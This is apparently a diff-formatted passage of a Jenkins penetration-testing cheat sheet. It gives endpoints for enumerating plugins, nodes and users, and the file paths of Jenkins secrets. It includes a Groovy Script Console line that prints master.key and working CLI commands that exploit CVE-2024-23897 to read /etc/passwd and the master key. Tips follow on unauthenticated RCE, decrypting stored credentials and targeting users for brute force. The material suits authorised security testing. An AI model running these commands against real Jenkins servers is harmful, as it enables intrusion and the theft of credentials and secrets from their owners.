GET /pluginManager/api/json?depth=1&tree=plugins[shortName,version,active]
|
|
201
|
+
|
|
202
|
+
# List node/agent info (may reveal internal hostnames):
|
|
203
|
+
GET /computer/api/json?depth=1
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## Sensitive File Locations
|
|
208
|
+
|
|
209
|
+
# Jenkins home directory (default: /var/jenkins_home or /var/lib/jenkins)
|
|
210
|
+
/var/jenkins_home/secrets/master.key # Master encryption key
|
|
211
|
+
/var/jenkins_home/secrets/hudson.util.Secret # Secret key
|
|
212
|
+
/var/jenkins_home/credentials.xml # Encrypted credentials
|
|
213
|
+
/var/jenkins_home/config.xml # Main config (users, security matrix)
|
|
214
|
+
/var/jenkins_home/users/ # User configs + API tokens
|
|
215
|
+
/var/jenkins_home/jobs/ # Job configs + build history
|
|
216
|
+
|
|
217
|
+
# Read via Script Console if accessible:
|
|
218
|
+
println new File('/var/jenkins_home/secrets/master.key').text
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## Common CVEs
|
|
223
|
+
|
|
224
|
+
| CVE | Component | Impact |
|
|
225
|
+
|-----|-----------|--------|
|
|
226
|
+
| CVE-2024-23897 | Jenkins CLI | Arbitrary file read (critical) |
|
|
227
|
+
| CVE-2023-27898 | Jenkins | XSS → RCE via update center |
|
|
228
|
+
| CVE-2022-36881 | Git plugin | MITM on SCM checkout |
|
|
229
|
+
| CVE-2019-1003000 | Script Security | Sandbox bypass → RCE |
|
|
230
|
+
| CVE-2018-1000861 | Stapler | Arbitrary code execution |
|
|
231
|
+
| CVE-2017-1000353 | Jenkins | Java deserialization RCE |
|
|
232
|
+
| CVE-2016-0792 | Jenkins | JNLP agent RCE |
|
|
233
|
+
|
|
234
|
+
# CVE-2024-23897 — Arbitrary file read via CLI:
|
|
235
|
+
java -jar jenkins-cli.jar -s http://<target>:8080/ help "@/etc/passwd"
|
|
236
|
+
java -jar jenkins-cli.jar -s http://<target>:8080/ help "@/var/jenkins_home/secrets/master.key"
|
|
237
|
+
|
|
238
|
+
# Nuclei:
|
|
239
|
+
nuclei -t cves/ -tags jenkins -u http://<target>:8080/
|
|
240
|
+
nuclei -t exposures/jenkins/ -u http://<target>:8080/
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
## Pro Tips
|
|
245
|
+
|
|
246
|
+
1. Always check `/script` first — unauthenticated Script Console = instant RCE
|
|
247
|
+
2. `/api/json` without auth = reveals all job names + build history (info disclosure)
|
|
248
|
+
3. Job workspace (`/job/<name>/ws/`) often contains `.env`, keys, certificates
|
|
249
|
+
4. CVE-2024-23897 (file read via CLI) is widely unpatched — always test
|
|
250
|
+
5. Credentials in Jenkins are only encrypted with master.key — if you read both, you have plaintext
|
|
251
|
+
6. `asynchPeople/` lists all users (for brute force targeting) without authentication
|
|
252
|
+
7. Pipeline script injection via unsanitized `sh "${params.INPUT}"` is extremely common
|
|
253
|
+
|
|
254
|
+
## Summary
|
|
255
|
+
|
|
256
|
+
Jenkins testing = `/script` for unauthenticated RCE + credential extraction via Groovy + CVE-2024-23897 CLI file read + job workspace sensitive file exposure. Script Console access = complete server compromise — extract master.key + credentials.xml to decrypt all stored secrets. Always enumerate jobs, check workspace files, and test CVE-2024-23897 regardless of version since patching is slow in enterprise Jenkins installations.
|